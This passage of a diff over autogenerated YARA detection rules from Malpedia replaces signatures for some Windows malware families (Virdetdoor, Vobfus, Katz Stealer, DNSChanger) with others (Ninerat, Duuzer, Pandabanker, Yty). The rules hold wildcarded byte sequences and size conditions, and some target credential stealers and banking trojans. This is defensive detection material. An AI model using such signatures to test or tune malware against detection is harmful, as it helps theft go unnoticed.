8d4dd8 e9???????? 8b4d08 e9???????? 8b4508 054c040000 e9???????? } - $sequence_4 = { 814df000020000 68???????? 8d4db4 e8???????? 8d85b8feffff 50 8d45b4 } - $sequence_5 = { 83a50cfffffff7 8d8d30feffff e9???????? c3 8d4db8 e9???????? 8d8dd8feffff } - $sequence_6 = { 8bfb e8???????? 33f6 33ff 56 47 57 } - $sequence_7 = { 895dcc f645d008 740e 8365d0f7 53 57 8d4d84 } - $sequence_8 = { ff750c 83a424bc00000000 8d442430 50 e8???????? } - $sequence_9 = { e8???????? c78424600800006d000000 f744241000000080 7417 81642410ffffff7f 53 } + $sequence_0 = { 0bd3 3bce 8bf5 23fd 0bda 8bde 0bd3 } + $sequence_1 = { 48c744242000000000 e8???????? 89842438020000 488b8c2440020000 e8???????? c784249402000000000000 8944243c } + $sequence_2 = { 4883ec20 8bd9 4c8d0dc9f60700 b904000000 4c8d05b5f60700 488d15f6d80700 e8???????? } + $sequence_3 = { c7842424060000043b0000 c7842420060000660d0000 c784241c060000a2780000 c784241806000079050000 c784241406000042520000 c78424100600002b350000 c784240c06000015070000 } + $sequence_4 = { 89ca 2315???????? 8915???????? 0faf0d???????? 030d???????? 8b15???????? 448b05???????? } + $sequence_5 = { 83393f 0f837c030000 31c0 89c1 b820000000 89c2 41b800100000 } + $sequence_6 = { 89842444090000 8b842444090000 357a620000 89842488070000 c7842484070000d86c0000 c7842480070000e3710000 c784247c070000c1470000 } + $sequence_7 = { 448984242c010000 e9???????? 488b8424e8000000 488b00 8b8c24f0000000 } + $sequence_8 = { 89842400060000 8b8424dc0b0000 4189c1 4181e1ff010000 44898c242c0d0000 448b8c242c0d0000 41c1e106 } + $sequence_9 = { 898424800c0000 ff15???????? 89842488040000 8b8424780c0000 0b84247c0c0000 898424800c0000 8b8424800c0000 } condition: - 7 of them and filesize < 761856 + 7 of them and filesize < 2321408 } -rule MALPEDIA_Win_Virdetdoor_Auto : FILE +rule MALPEDIA_Win_Ninerat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "bddd89ab-b028-56e4-8a65-8d3729c122ca" + id = "b2759270-ef98-5410-b5fe-ea53f4bf72fd" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.virdetdoor" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.virdetdoor_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ninerat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ninerat_auto.yar#L1-L170" license_url = "N/A" - logic_hash = "57c5b5ddcc0bcf4c5308e3cdd78b8a805ec821f22a4427e25f940eedfad4c1ef" + logic_hash = "584fb25ea88956dd53544245e507dba7752ef5bd9498b76883c7fb9cf338d1d3" score = 75 quality = 75 tags = "FILE" @@ -105268,34 +105680,40 @@ rule MALPEDIA_Win_Virdetdoor_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83c40c 83feff 7502 33f6 } - $sequence_1 = { 0fb74714 50 ff15???????? 0fb7c0 50 } - $sequence_2 = { 59 3945fc 7e4e 397dfc 7e49 8b35???????? 68???????? } - $sequence_3 = { 53 56 57 8bf9 c745f810270000 33db 33c9 } - $sequence_4 = { 6a0c 50 52 51 ff15???????? } - $sequence_5 = { 8b7d10 57 7434 8b35???????? ffd6 50 8d45cc } - $sequence_6 = { c6010b e9???????? c6010c e9???????? c6010d e9???????? } - $sequence_7 = { 83c40c 83c01c 50 6a08 ff15???????? } - $sequence_8 = { 3bc1 75ec 3903 74d2 ebe6 85ff 75cc } - $sequence_9 = { ff35???????? ff15???????? 8bc8 85c9 7450 6a5c } + $sequence_0 = { 4c89ad58feffff 48894d10 48895518 488b4518 48c70000000000 48c7400800000000 48c78590feffff00000000 } + $sequence_1 = { 4c89ad60ffffff 4c89b568ffffff 4c89bd70ffffff 48894d10 } + $sequence_2 = { 4c89ad58ffffff 4c89b560ffffff 4c89bd68ffffff 48894d10 4889d3 4d89c4 498bd4 } + $sequence_3 = { 4c89ad50ffffff 4c89b558ffffff 4c89bd60ffffff 48894d10 4889d6 c68570ffffff00 488d4580 } + $sequence_4 = { 4c89ad68fcffff 4c89b570fcffff 4c89bd78fcffff 48894d10 } + $sequence_5 = { 4c89ad50ffffff 4c89b558ffffff 4c89bd60ffffff 48895518 4989cc 48c70200000000 4889d1 } + $sequence_6 = { 4c89ad60feffff 4c89b568feffff 48894d10 488d4d10 e8???????? 48898570feffff } + $sequence_7 = { 4c89ad58fdffff 4c89b560fdffff 4c89bd68fdffff 48895518 4c894520 4c894d28 } + $sequence_8 = { eb0f 488bd3 488d0d48900100 e8???????? } + $sequence_9 = { 4889842430020000 4c89642450 488b442450 4889842438020000 } + $sequence_10 = { 4889842480000000 488d1529890100 488d8c2480000000 e8???????? 90 e8???????? 90 } + $sequence_11 = { 488d842430030000 48ffc7 6644393478 75f6 } + $sequence_12 = { 4883ec38 834c2448ff 488d05a8580100 4d85c9 } + $sequence_13 = { 4a8b04e8 42385cf839 0f84c2000000 488d058dde0000 4a8b0ce8 } + $sequence_14 = { 418bd4 e8???????? f20f1000 8b5808 e9???????? 488d05cbdd0000 } + $sequence_15 = { 83fa04 7c39 458bd1 49c1ea02 418bc2 f7d8 } condition: - 7 of them and filesize < 106496 + 7 of them and filesize < 7709696 } -rule MALPEDIA_Win_Vobfus_Auto : FILE +rule MALPEDIA_Win_Duuzer_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "42158425-a27c-57e2-bcf0-e9d26bb44ebe" + id = "ce410d90-c1fc-5e24-b6fe-acbef7b75a62" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vobfus" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vobfus_auto.yar#L1-L228" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.duuzer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.duuzer_auto.yar#L1-L150" license_url = "N/A" - logic_hash = "c01a7c959701e62f162b2189e2ece4b76a685509f6980577800ff6467b1d208b" + logic_hash = "dfa72f297db77226dddcb2a3a6d903c9c88217f92848aed80d0a5daab8159948" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -105307,46 +105725,37 @@ rule MALPEDIA_Win_Vobfus_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b5508 8b92e8000000 8b826c1a0000 50 } - $sequence_1 = { 8b5508 8b92e8000000 8b827c040000 50 } - $sequence_2 = { 8b5508 8b92e8000000 8b82d81a0000 50 } - $sequence_3 = { 8b5508 8b92e8000000 8b82f00b0000 50 } - $sequence_4 = { 8bec 8b5508 8b92e8000000 8b82a00d0000 50 50 8b10 } - $sequence_5 = { 8b82180b0000 50 50 8b10 ff5204 58 } - $sequence_6 = { 55 8bec 8b5508 8b92e8000000 8b82c4040000 50 } - $sequence_7 = { 8b5508 8b92e8000000 8b82b41a0000 50 } - $sequence_8 = { 78ff 0d50004900 3e3cff 46 } - $sequence_9 = { f2ed ec f2ed ec f3ed ebf2 ed } - $sequence_10 = { 801800 0808 0006 3401 41 06 1005???????? } - $sequence_11 = { f2e8fae6d5f6 d2b5f2bb8ff3 ae 73f3 } - $sequence_12 = { 5c f6ac4ff8b54ffb c058fcca 61 } - $sequence_13 = { 00e0 c9 8f00 e3ce 97 00e6 d39500e4d19b } - $sequence_14 = { d39500e4d19b 00cf c0b200d1c3b600 e6d3 a1???????? 00ec dea600e0d4b3 } - $sequence_15 = { 41 06 1001 ff06 0200 0100 } - $sequence_16 = { 91 00d5 c19400d6c49500d7 c59900dac999 00e0 } - $sequence_17 = { 06 1005???????? 0100 6c 74ff } - $sequence_18 = { 7cc8 dc7acd e291 d2e8 } - $sequence_19 = { 0100 8a00 0010 4c 0007 } - $sequence_20 = { 46 14ff 0470 fe0a } - $sequence_21 = { 6c 74ff 801800 0808 } - $sequence_22 = { ae 73f3 aa 5c f6ac4ff8b54ffb } - $sequence_23 = { 1400 48 0008 78ff 0d50004900 } + $sequence_0 = { 83f804 7408 83c8ff e9???????? } + $sequence_1 = { 5e c3 397170 74e4 83b9f800000008 48895c2458 } + $sequence_2 = { c78598fdffff288c3a55 c7859cfdffff83a89c49 c785a0fdffff9ace29e0 c785a4fdffff5652b72b } + $sequence_3 = { b8a2000000 5e 8b4dfc 33cd } + $sequence_4 = { 5f c3 4585ff 74d9 4489a70c170000 } + $sequence_5 = { c785f0fefeff20964000 c785f4fefeff40964000 c785f8fefeff60964000 c785fcfefeff80964000 c78500fffeffd0964000 } + $sequence_6 = { 5f 5d c3 488d0529230100 } + $sequence_7 = { 51 56 e8???????? 6a78 8d4de8 } + $sequence_8 = { ffd6 a3???????? 85c0 7413 8d8509ffffff } + $sequence_9 = { 8d86a4000000 c7465000000100 89464c 837dfc00 752f } + $sequence_10 = { 5f 5e 5d c3 488d542470 8bcb } + $sequence_11 = { 5e c3 488b4e38 48895c2468 } + $sequence_12 = { 5f c3 4585f6 74db } + $sequence_13 = { 50 8d0c1e 51 52 } + $sequence_14 = { 5f 5d 5b c3 33c9 4c897c2460 } condition: - 7 of them and filesize < 409600 + 7 of them and filesize < 491520 } -rule MALPEDIA_Win_Crytox_Auto : FILE +rule MALPEDIA_Win_Cadelspy_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b9e5c6f9-e0d6-531a-8dd0-a7fad4a513e9" + id = "239b2d97-ceb8-5e5b-be90-aeb9b9fcf209" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.crytox" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.crytox_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cadelspy" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cadelspy_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "79e78c490080a0e53c534d80effb4ddfe05889d0a54f29415d47f44d77b2adb2" + logic_hash = "b4d9cbb0d8867220f80a8ce48db839eded436dcbd892904385e6486261b96542" score = 75 quality = 75 tags = "FILE" @@ -105360,32 +105769,32 @@ rule MALPEDIA_Win_Crytox_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e9???????? 81fb07100000 0f84fcfcffff e9???????? 81fb0c000200 0f86ebfcffff e9???????? } - $sequence_1 = { f72424 897c2414 8b7c2404 69cf182d0700 89c6 b867fb0900 01ca } - $sequence_2 = { e8???????? 8945c8 8b45c8 c1f809 89c2 8b45cc c1f809 } - $sequence_3 = { e8???????? 395c2430 75e5 8b7c2460 8b442434 31d2 8b5c2430 } - $sequence_4 = { c705????????a9bc6600 e9???????? e8???????? 0fb6c0 8983d0470000 8b03 e8???????? } - $sequence_5 = { e8???????? 8b4c2418 894104 8b4104 8938 8b4104 c7400400000000 } - $sequence_6 = { e8???????? 31c0 eb17 891c24 e8???????? 837d0c00 89f0 } - $sequence_7 = { e8???????? 89442404 8b55d8 8b4208 890424 e8???????? 83f80f } - $sequence_8 = { e9???????? c744240477bf6600 891c24 e8???????? 85c0 750f c705????????05000000 } - $sequence_9 = { e8???????? e9???????? 807b0300 0f84a7000000 a1????????85c07533 e8???????? 480f8eff010000 } + $sequence_0 = { 3d01010000 7d0d 8a4c181c 888840360110 40 ebe9 } + $sequence_1 = { 7413 50 8b44241c 56 e8???????? 8bf8 59 } + $sequence_2 = { 89742424 e8???????? 33c0 bf06020000 57 6689842484040000 8d842486040000 } + $sequence_3 = { 8d9c2464020000 e8???????? 68???????? 8d9c2464020000 e8???????? } + $sequence_4 = { 8d859e000000 50 e8???????? 83c40c 56 8d859c000000 50 } + $sequence_5 = { 89742424 89742428 8974242c 89742430 89742434 89742438 e8???????? } + $sequence_6 = { 56 57 33ff 8db7b03e0110 ff36 e8???????? } + $sequence_7 = { ff742414 ffd3 8bc6 e8???????? 33c0 40 eb02 } + $sequence_8 = { 40 8b8d94260000 5f 5e 33cd 5b e8???????? } + $sequence_9 = { 39742414 0f84d3000000 397508 7474 8b4508 } condition: - 7 of them and filesize < 6156288 + 7 of them and filesize < 204800 } -rule MALPEDIA_Win_Katz_Stealer_Auto : FILE +rule MALPEDIA_Win_Catb_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c49e5ae3-476e-56a3-98bc-9b636f776fa6" + id = "933995f2-f16f-57d3-8dbf-a34d98a15a16" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.katz_stealer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.katz_stealer_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.catb" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.catb_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "fd471cd54233791d0b513e7355b1bd82a81ef2e5ff3948f16fb07b4227562780" + logic_hash = "67c973c178a5aaefb496aaca8211cbe6cac87c68d3dfe20d86da6ecd47acde94" score = 75 quality = 75 tags = "FILE" @@ -105399,32 +105808,32 @@ rule MALPEDIA_Win_Katz_Stealer_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ffd5 85c0 7516 6aff 5a 488b8c2480000000 ff15???????? } - $sequence_1 = { 31c9 e8???????? 4893 e9???????? 85f6 } - $sequence_2 = { 0f8517ffffff e9???????? 4889f9 ff15???????? 83f8ff 0f84ba030000 85db } - $sequence_3 = { 488b4c2470 e8???????? 488b5c2450 8b742460 39b42480000000 } - $sequence_4 = { e9???????? 4885d2 0f8429ffffff 488d0562f30000 4889842490000000 4c8b842490000000 } - $sequence_5 = { e8???????? 66490f6ec5 66480f6ee7 4889f1 f20f5ec4 488d15dab00000 f20f5905???????? } - $sequence_6 = { 488b8424b0070000 488d15663a0000 4889d9 488b04f8 448b4004 e8???????? } - $sequence_7 = { f3ab 488d15f64c0000 4889f1 488dbc2494050000 e8???????? 4885c0 7449 } - $sequence_8 = { 4c89c7 f3ab 488d0d075d0000 48b80100000006000000 4889842490020000 4c8d8c2480010000 } - $sequence_9 = { 4489c8 4883c468 5b 5e c3 f6c701 0f8477010000 } + $sequence_0 = { 0f8491000000 498bc5 4c8d0d5d58ffff 83e03f 498bd5 } + $sequence_1 = { eb1f be07000000 488d15ef9e0000 448bc6 488bcf e8???????? 85c0 } + $sequence_2 = { 488d1db6a90300 488d3537fe0000 48895c2420 488d05aba90300 483bd8 7419 483933 } + $sequence_3 = { 4c8d0da47f0000 b903000000 4c8d05907f0000 488d15f9750000 e8???????? 4885c0 740f } + $sequence_4 = { 48895c2408 4889742410 57 4883ec20 418bf0 4c8d0d8fcf0000 } + $sequence_5 = { 7832 3b0d???????? 732a 4863c9 4c8d05e89f0300 488bc1 } + $sequence_6 = { 4c8d0d757d0000 488bd9 488d156b7d0000 b916000000 4c8d05577d0000 e8???????? 488bcb } + $sequence_7 = { 4c8d05117f0000 488d1592750000 e8???????? 8bcb } + $sequence_8 = { 488bf8 4885c0 0f8483000000 41b812000000 488d1569550100 488bc8 ff15???????? } + $sequence_9 = { 44895c2448 81fae9fd0000 0f8570010000 4c8d3d23aaffff 418bd3 } condition: - 7 of them and filesize < 238592 + 7 of them and filesize < 593920 } -rule MALPEDIA_Win_Secondhandtea_Auto : FILE +rule MALPEDIA_Win_Gacrux_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "24430ceb-9ce2-5574-9afd-319803953494" + id = "08e3a0a1-da81-5882-b134-65281af51162" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.secondhandtea" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.secondhandtea_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gacrux" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gacrux_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "7cb092741fedaef6b40610c6e7ec59e3f301485274283d64b8f6a31d3c54f53c" + logic_hash = "6278ae90a5acb1d1e22aec25afba6eadcc43cdc1399d5403571d5596bb5e391d" score = 75 quality = 75 tags = "FILE" @@ -105438,34 +105847,34 @@ rule MALPEDIA_Win_Secondhandtea_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? cc 4c8d0554c31400 498bd4 488bcd e8???????? 85c0 } - $sequence_1 = { e8???????? 488bcf e8???????? 488b8b18100000 8b93fc070000 0fb701 3bd0 } - $sequence_2 = { 753b c744242025000000 41b841000000 4c8d0d2e9b0b00 bac6000000 b90d000000 e8???????? } - $sequence_3 = { e8???????? 4c8b642468 448be8 4883c470 415d 5f 5e } - $sequence_4 = { e8???????? 8bf8 85c0 7ead 294318 7408 014314 } - $sequence_5 = { e8???????? 4533c0 4c8d8bb4010000 418d502d 488bc8 e8???????? 488bcf } - $sequence_6 = { e9???????? 498bc9 e8???????? 488bf8 4885c0 7527 4c8d0d9d780f00 } - $sequence_7 = { e8???????? 488be8 4885c0 750f 488d154fac0c00 488bcf e8???????? } - $sequence_8 = { e8???????? 418bc7 488b4d68 4833cd e8???????? 488b9da0000000 488bb5a8000000 } - $sequence_9 = { e8???????? 33c0 ebc1 ba7a000000 4c8d0d517c0a00 c744242078000000 8d4a89 } + $sequence_0 = { 85c9 743c 6548 8b0425???????? 80780201 7428 48 } + $sequence_1 = { 33db e8???????? 48 8bf8 48 85c0 742f } + $sequence_2 = { 3900 75f4 48 63c2 85d2 740a 48 } + $sequence_3 = { 740b 41 81cb00900000 45 895821 40 f6c610 } + $sequence_4 = { e8???????? 4c 8bc3 33d2 48 8bcf ffd0 } + $sequence_5 = { 3c40 755f 41 0fbaea1e 40 8ac7 c0e803 } + $sequence_6 = { 0fb6c3 44 3bc8 0f850f010000 44 0fb66d67 43 } + $sequence_7 = { 75f6 e8???????? 48 83c428 c3 48 } + $sequence_8 = { eb02 33db 8b4c2460 0337 392f 75a5 eb5d } + $sequence_9 = { 83e801 7463 83e801 7457 83e802 744b } condition: - 7 of them and filesize < 4452352 + 7 of them and filesize < 122880 } -rule MALPEDIA_Win_Dnschanger_Auto : FILE +rule MALPEDIA_Win_Yty_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "0fa9e2eb-93b3-59e8-87b9-56660e0e1de0" + id = "b178a64d-90f2-5e14-9301-2d60f407465c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dnschanger" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dnschanger_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.yty" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.yty_auto.yar#L1-L503" license_url = "N/A" - logic_hash = "a0798da45c8d16b6b8cbe6087cae140990ddc919bfe764b8983fff724ffd7558" + logic_hash = "ba7411fc89742deab8ac323283edaf67308d62adecd7c34f413e3b6a25925cab" score = 75 - quality = 75 + quality = 50 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -105477,32 +105886,77 @@ rule MALPEDIA_Win_Dnschanger_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83c418 8d542410 8d442414 52 6806000200 6a00 50 } - $sequence_1 = { 8d442414 52 6806000200 6a00 50 } - $sequence_2 = { 6a08 32db ffd5 50 ff15???????? } - $sequence_3 = { 32c0 eb0b ff15???????? 85c0 } - $sequence_4 = { 8d442410 8b8b9c010000 50 57 51 e8???????? 83f86f } - $sequence_5 = { 57 e8???????? 8b2d???????? 6880020000 6a08 } - $sequence_6 = { 2ad1 f6da 1bd2 f7d2 23c2 } - $sequence_7 = { 8bf0 8d45f8 50 ff75f8 56 6a03 ff75fc } - $sequence_8 = { 84d2 7407 8a11 8816 46 } - $sequence_9 = { 8b442410 85c0 742a 83f80a 7415 } + $sequence_0 = { 0f840c000000 8365d8fe 8b7508 e9???????? c3 8b542408 8d420c } + $sequence_1 = { 64a300000000 8b7508 33ff 897dd8 } + $sequence_2 = { 8b5610 33c9 33c0 8d7910 } + $sequence_3 = { b901000000 e9???????? 8b5508 397d1c 7303 8d5508 } + $sequence_4 = { 5f 668910 8bc6 5b 8be5 5d c20400 } + $sequence_5 = { 8bfe 80ea13 b903000000 eb58 } + $sequence_6 = { 8b4c3138 33db 895de8 885def 8975e0 85c9 } + $sequence_7 = { 50 ffd2 ff15???????? 8a857bffffff 8b4df4 } + $sequence_8 = { 8b08 8b5108 50 ffd2 8b8568ffffff 8b08 } + $sequence_9 = { c645fc01 e8???????? 8b10 8b4a04 03c8 } + $sequence_10 = { 807def00 8b5de8 7503 83cb02 8b16 8b4a04 } + $sequence_11 = { 8bcf e8???????? 8b0e 8b5104 8b443238 } + $sequence_12 = { 8906 894604 894608 8945fc 56 c745f001000000 } + $sequence_13 = { 8bfe 80ea04 b904000000 eb23 } + $sequence_14 = { 397e14 7214 8a1402 8b3e 2ad1 } + $sequence_15 = { 7204 8b3e eb02 8bfe 8a1402 2ad1 80ea13 } + $sequence_16 = { 51 e8???????? 83c408 8bf0 6a0a } + $sequence_17 = { 50 e8???????? 83c40c 8d8de8fdffff 51 53 } + $sequence_18 = { 50 8bce c60600 e8???????? 8b5610 33c9 } + $sequence_19 = { 8d8de8fdffff 51 53 53 6a28 53 } + $sequence_20 = { 33c9 881407 bf10000000 40 3b4610 } + $sequence_21 = { c0ea02 8ac4 80e20f c0e004 } + $sequence_22 = { 8b07 eb02 8bc7 8b4de0 } + $sequence_23 = { c645fc07 e8???????? 8bf0 891f 6a08 c645fc0c e8???????? } + $sequence_24 = { 8b4c1938 895dd4 85c9 7405 8b01 ff5004 c745fc00000000 } + $sequence_25 = { 25ff000000 83c001 25fe010000 f20f593c85c0014600 660f122c85c0014600 } + $sequence_26 = { c70424???????? e8???????? 85c0 7424 c70424f4010000 e8???????? 83ec04 } + $sequence_27 = { 8b5508 83e23f 6bd230 8b0c8d00b04600 88441128 e9???????? 8b5508 } + $sequence_28 = { c74410e05c584600 8b42e0 8b4804 8d41e8 894411dc c745fc00000000 } + $sequence_29 = { 33f6 bf???????? 833cf584fe420001 751d 8d04f580fe4200 } + $sequence_30 = { 0f1000 0f1105???????? f30f7e4010 660fd605???????? e8???????? 8d8590bcf0ff } + $sequence_31 = { 0bc8 51 e8???????? 83c404 8d8dd4efffff 83bde8efffff10 } + $sequence_32 = { 83e3fc ba00000000 898c15a4feffff 83c204 } + $sequence_33 = { 01c8 0fb600 38c2 7410 c745e401000000 c745e000000000 eb18 } + $sequence_34 = { 8d8588feffff 890424 e8???????? 8d85bafeffff } + $sequence_35 = { c1fe05 c1e106 030cb5a0244300 eb02 8bca f641247f 759c } + $sequence_36 = { 39e8 741e c74424045c000000 893c24 } + $sequence_37 = { c78534ffffff00000000 6a00 50 e8???????? 83c404 8d8d38ffffff e8???????? } + $sequence_38 = { 3d04010000 7607 b801000000 eb33 c744240404010000 } + $sequence_39 = { 57 33ff ffb744fe4200 ff15???????? } + $sequence_40 = { 89e5 83ec28 c745eb00000000 c645ef00 c745f400000000 } + $sequence_41 = { 6a40 6a00 8d8590fcffff 50 e8???????? 83c40c } + $sequence_42 = { f3ab 8d4dfb e8???????? 8d4dfb e8???????? } + $sequence_43 = { 83f809 7d10 40 ba???????? 50 e8???????? } + $sequence_44 = { 8bec 8b4508 ff34c580fe4200 ff15???????? } + $sequence_45 = { ff15???????? 8d8d90bcf0ff e8???????? 8bf0 c645fc03 } + $sequence_46 = { 64a300000000 8b7510 56 ff15???????? 85c0 0f84cb010000 } + $sequence_47 = { 83e13f 6bd130 8b048500b04600 807c102900 7536 8b4d0c 3b4d14 } + $sequence_48 = { 8b45ec 3b45e0 7517 8b4508 0345e0 894508 } + $sequence_49 = { 8bf4 8b8578fcffff 50 ff15???????? 3bf4 e8???????? 8bf4 } + $sequence_50 = { 8b4d10 394de0 7752 037de0 8b45f0 8b55e8 8b048560cb4300 } + $sequence_51 = { 6a01 e8???????? ebd7 85ff } + $sequence_52 = { 3c5a 770f 0fbec1 0fb680d0ed4200 83e00f eb02 33c0 } + $sequence_53 = { e8???????? 85c0 756f 8b8328020000 } + $sequence_54 = { 898584fbffff 8d85e8fdffff 6808020000 50 } condition: - 7 of them and filesize < 49152 + 7 of them and filesize < 1097728 } -rule MALPEDIA_Win_Roadsweep_Auto : FILE +rule MALPEDIA_Win_Pandabanker_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "6c093c47-8e58-51ee-ae4c-89b38c2f042b" + id = "d7a6bb16-47e5-52e8-857d-352f3fc1d921" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.roadsweep" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.roadsweep_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pandabanker" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pandabanker_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "0d07cae12c5491ee120ce765fa753d2699b968376031bccf1e21a7a431677bd5" + logic_hash = "7224c438b16af79be738a189a249337e2e081d636ca75e4e1c5b1122ffa5e8c5" score = 75 quality = 75 tags = "FILE" @@ -105516,32 +105970,32 @@ rule MALPEDIA_Win_Roadsweep_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 89542404 e8???????? 3955cc 89c3 c745b800000000 } - $sequence_1 = { e9???????? c7442404???????? c7042404010000 e8???????? 83ec08 e9???????? c744240404010000 } - $sequence_2 = { 8b45e8 85d2 0f885d010000 85d2 0f8ea6010000 } - $sequence_3 = { 00d2 8b5d08 83d903 8db534ffffff c744240c00000000 29f9 baffffffff } - $sequence_4 = { 56 ba01000000 53 83ec50 8b7508 8d742600 8dbc2700000000 } - $sequence_5 = { c744241000000000 89542404 893424 e8???????? 8bbd6cffffff } - $sequence_6 = { c745cc04100800 891424 e8???????? 83ec04 85c0 } - $sequence_7 = { e8???????? 891c24 8d9578fbffff 89542404 c68578fbffff25 c68579fbffff73 c6857afbffff63 } - $sequence_8 = { 890424 e8???????? 89b564ffffff 31c9 48 899d6cffffff } - $sequence_9 = { 3d???????? 7207 3d???????? 7216 } + $sequence_0 = { d0c2 8ac2 d0c0 32c1 32c2 } + $sequence_1 = { 42 83fa10 72ee 8b5500 } + $sequence_2 = { 8bf2 57 8bf9 8d8df4fdffff } + $sequence_3 = { f3aa 8932 8d46f0 8b5500 } + $sequence_4 = { 895c2414 8bf1 e8???????? 84c0 746d 83caff 8bce } + $sequence_5 = { 8bf0 85f6 7414 e8???????? 8906 85c0 7509 } + $sequence_6 = { 33c0 33d2 89442418 3bfd 7359 } + $sequence_7 = { 8bce 2b0f 33448f4c 8944b74c 6a05 59 } + $sequence_8 = { 03c8 894c2434 8d5101 8bce e8???????? 85c0 } + $sequence_9 = { 75f9 2bce 5e 8d040a c3 33c0 c3 } condition: - 7 of them and filesize < 160768 + 7 of them and filesize < 417792 } -rule MALPEDIA_Win_Crypto_Fortress_Auto : FILE +rule MALPEDIA_Win_Wormhole_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "57f6010b-f9b8-526f-94e4-905e1c039cff" + id = "6f46fc51-988b-5f8d-9d00-a7686a2cf87f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.crypto_fortress" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.crypto_fortress_auto.yar#L1-L116" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wormhole" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.wormhole_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "260674d34cb12cfd5de2f1a83904a3f49c27965fc58fd434a5b27b625cba2777" + logic_hash = "e1e9db1cf90c5ec01e6303b9e0faaa3beb1eeaff1efa494e61bb4a00bebdfa38" score = 75 quality = 75 tags = "FILE" @@ -105555,32 +106009,32 @@ rule MALPEDIA_Win_Crypto_Fortress_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 045a aa 2cff aa 2cf9 } - $sequence_1 = { 0433 aa 04fc aa 3411 } - $sequence_2 = { aa 345e aa 04af aa 2cfb aa } - $sequence_3 = { aa 040f aa 2c0f } 